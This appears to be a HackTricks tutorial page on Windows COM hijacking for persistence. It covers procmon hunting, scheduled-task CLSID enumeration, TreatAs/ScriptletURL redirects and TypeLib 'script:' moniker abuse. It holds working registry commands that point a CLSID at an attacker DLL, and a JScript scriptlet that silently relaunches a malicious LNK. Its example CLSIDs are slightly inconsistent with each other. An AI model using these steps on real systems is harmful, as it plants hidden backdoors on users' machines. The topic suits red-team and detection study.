com-hijacking.md (10360B)
1 --- 2 title: "COM Hijacking" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # COM Hijacking 14 15 ### Searching non-existent COM components 16 17 As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistence mechanism**. Using `procmon` it's easy to find searched COM registries that don't exist yet and could be created by an attacker. Classic filters: 18 19 - **RegOpenKey** operations. 20 - where the _Result_ is **NAME NOT FOUND**. 21 - and the _Path_ ends with **InprocServer32**. 22 23 Useful variations during hunting: 24 25 - Also look for missing **`LocalServer32`** keys. Some COM classes are out-of-process servers and will launch an attacker-controlled EXE instead of a DLL. 26 - Search for **`TreatAs`** and **`ScriptletURL`** registry operations in addition to `InprocServer32`. Recent detection content and malware writeups keep calling these out because they are much rarer than normal COM registrations and therefore high-signal. 27 - Copy the legitimate **`ThreadingModel`** from the original `HKLM\Software\Classes\CLSID\{CLSID}\InprocServer32` when cloning a registration into HKCU. Using the wrong model often breaks activation and makes the hijack noisy.<sup>[[3]](#references)</sup> 28 - On 64-bit systems inspect both 64-bit and 32-bit views (`procmon.exe` vs `procmon64.exe`, `HKLM\Software\Classes` and `HKLM\Software\Classes\WOW6432Node`) because 32-bit applications may resolve a different COM registration. 29 30 Once you have decided which non-existent COM to impersonate, execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._ 31 32 ```bash 33 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" 34 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" 35 New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both" 36 ``` 37 38 ### Hijackable Task Scheduler COM components 39 40 Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered. 41 42 <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs 43 $Tasks = Get-ScheduledTask 44 45 foreach ($Task in $Tasks) 46 { 47 if ($Task.Actions.ClassId -ne $null) 48 { 49 if ($Task.Triggers.Enabled -eq $true) 50 { 51 $usersSid = "S-1-5-32-545" 52 $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid } 53 54 if ($Task.Principal.GroupId -eq $usersGroup) 55 { 56 Write-Host "Task Name: " $Task.TaskName 57 Write-Host "Task Path: " $Task.TaskPath 58 Write-Host "CLSID: " $Task.Actions.ClassId 59 Write-Host 60 } 61 } 62 } 63 } 64 65 # Sample Output: 66 <strong># Task Name: Example 67 </strong># Task Path: \Microsoft\Windows\Example\ 68 # CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1} 69 # [more like the previous one...]</code></pre> 70 71 Checking the output you can select one that is going to be executed **every time a user logs in** for example. 72 73 Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU. 74 75 ```bash 76 # Exists in HKCR\CLSID\ 77 Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" 78 79 Name Property 80 ---- -------- 81 InprocServer32 (default) : C:\Windows\system32\some.dll 82 ThreadingModel : Both 83 84 # Exists in HKLM 85 Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize 86 87 Name Property 88 ---- -------- 89 {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler 90 91 # Doesn't exist in HKCU 92 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" 93 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. 94 ``` 95 96 Then, you can just create the HKCU entry and every time the user logs in, your backdoor will be fired. 97 98 --- 99 100 ## COM TreatAs Hijacking + ScriptletURL 101 102 `TreatAs` allows one CLSID to be emulated by another one.<sup>[[4]](#references)</sup> From an offensive perspective this means you can leave the original CLSID untouched, create a second per-user CLSID that points to `scrobj.dll`, and then redirect the real COM object to the malicious one with `HKCU\Software\Classes\CLSID\{Victim}\TreatAs`. 103 104 This is useful when: 105 106 - the target application already instantiates a stable CLSID at logon or on app start 107 - you want a registry-only redirect instead of replacing the original `InprocServer32` 108 - you want to execute a local or remote `.sct` scriptlet through the `ScriptletURL` value 109 110 Example workflow (adapted from public Atomic Red Team tradecraft and older COM registry abuse research): 111 112 ```batch 113 :: 1. Create a malicious per-user COM class backed by scrobj.dll 114 reg add "HKCU\Software\Classes\AtomicTest" /ve /t REG_SZ /d "AtomicTest" /f 115 reg add "HKCU\Software\Classes\AtomicTest\CLSID" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f 116 reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /t REG_SZ /d "AtomicTest" /f 117 reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\System32\scrobj.dll" /f 118 reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f 119 reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /t REG_SZ /d "file:///C:/ProgramData/atomic.sct" /f 120 121 :: 2. Redirect a high-frequency CLSID to the malicious class 122 reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f 123 ``` 124 125 Notes: 126 127 - `scrobj.dll` reads the `ScriptletURL` value and executes the referenced `.sct`, so you can keep the payload as a local file or pull it remotely over HTTP/HTTPS. 128 - `TreatAs` is especially handy when the original COM registration is complete and stable in HKLM, because you only need a small per-user redirect instead of mirroring the entire tree. 129 - For validation without waiting on the natural trigger, you can instantiate the fake ProgID/CLSID manually with `rundll32.exe -sta <ProgID-or-CLSID>` if the target class supports STA activation. 130 131 ## COM TypeLib Hijacking (script: moniker persistence) 132 133 Type Libraries (TypeLib) define COM interfaces and are loaded via `LoadTypeLib()`. When a COM server is instantiated, the OS may also load the associated TypeLib by consulting registry keys under `HKCR\TypeLib\{LIBID}`. If the TypeLib path is replaced with a **moniker**, e.g. `script:C:\...\evil.sct`, Windows will execute the scriptlet when the TypeLib is resolved – yielding a stealthy persistence that triggers when common components are touched. 134 135 This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`).<sup>[[1]](#references)[[2]](#references)</sup> 136 137 ### Steps (PowerShell) 138 139 1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). 140 141 ```powershell 142 $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' 143 $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' 144 $ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName 145 "CLSID=$clsid LIBID=$libid VER=$ver" 146 ``` 147 148 2) Point the per-user TypeLib path to a local scriptlet using the `script:` moniker (no admin rights required): 149 150 ```powershell 151 $dest = 'C:\\ProgramData\\Udate_Srv.sct' 152 New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null 153 Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" 154 ``` 155 156 3) Drop a minimal JScript `.sct` that relaunches your primary payload (e.g. a `.lnk` used by the initial chain): 157 158 ```xml 159 <?xml version="1.0"?> 160 <scriptlet> 161 <registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/> 162 <script language="JScript"> 163 <![CDATA[ 164 try { 165 var sh = new ActiveXObject('WScript.Shell'); 166 // Re-launch the malicious LNK for persistence 167 var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"'; 168 sh.Run(cmd, 0, false); 169 } catch(e) {} 170 ]]> 171 </script> 172 </scriptlet> 173 ``` 174 175 4) Triggering – opening IE, an application that embeds the WebBrowser control, or even routine Explorer activity will load the TypeLib and execute the scriptlet, re-arming your chain on logon/reboot. 176 177 Cleanup 178 ```powershell 179 # Remove the per-user TypeLib hijack 180 Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null 181 # Delete the dropped scriptlet 182 Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null 183 ``` 184 185 Notes 186 - You can apply the same logic to other high-frequency COM components; always resolve the real `LIBID` from `HKCR\CLSID\{CLSID}\TypeLib` first. 187 - On 64-bit systems you may also populate the `win64` subkey for 64-bit consumers. 188 189 ## References 190 191 - [1] [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) 192 - [2] [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) 193 - [3] [Revisiting COM Hijacking (SpecterOps)](https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/) 194 - [4] [CLSID Key (Microsoft Learn)](https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm)